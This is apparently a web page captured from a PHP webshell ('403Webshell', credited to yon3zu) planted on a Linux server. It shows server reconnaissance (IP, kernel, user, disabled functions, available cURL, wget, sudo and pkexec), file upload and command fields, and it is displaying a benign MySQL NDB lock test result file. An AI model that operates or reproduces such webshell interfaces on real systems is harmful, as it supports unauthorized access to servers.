403Webshell
Server IP : 104.21.38.3  /  Your IP : 162.158.108.77
Web Server : Apache
System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/server/mysql/src/mysql-test/suite/ndb/r/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/server/mysql/src/mysql-test/suite/ndb/r/ndb_dbug_lock.result
drop table if exists t1;
#
# Test that alter during lock table aborts with error if
# global schema lock already exists
#
create table t1 (a int key) engine ndb row_format dynamic;
set session debug="+d,sleep_after_global_schema_lock";
alter table t1 add column (b int);
lock tables t1 write;
alter table t1 add column (c int);
ERROR HY000: Can't execute the given command because you have active locked tables or an active transaction
alter table t1 add column (c int);
ERROR HY000: Can't execute the given command because you have active locked tables or an active transaction
alter table t1 add column (c int);
ERROR HY000: Can't execute the given command because you have active locked tables or an active transaction
unlock tables;
#
# Test that alter during lock works without global schema lock
# and that an alter done in parallell test serialized
#
lock tables t1 write;
# delay is still set after lock
alter table t1 add column (c int);
# issue alter in parallell, which should be hanging waiting on
alter table t1 add column (d int);
# check thread state which should be:
# "Waiting for allowed to take ndbcluster global schema lock"
# _not_ "Waiting for ndbcluster global schema lock"
select state from information_schema.processlist where info = "alter table t1 add column (d int)";
state
Waiting for allowed to take ndbcluster global schema lock
unlock tables;
show create table t1;
Table	Create Table
t1	CREATE TABLE `t1` (
  `a` int(11) NOT NULL,
  `b` int(11) DEFAULT NULL,
  `c` int(11) DEFAULT NULL,
  `d` int(11) DEFAULT NULL,
  PRIMARY KEY (`a`)
) ENGINE=ndbcluster DEFAULT CHARSET=latin1 ROW_FORMAT=DYNAMIC
# Cleanup
set session debug="-d,";
drop table t1;

Youez - 2016 - github.com/yon3zu
LinuXploit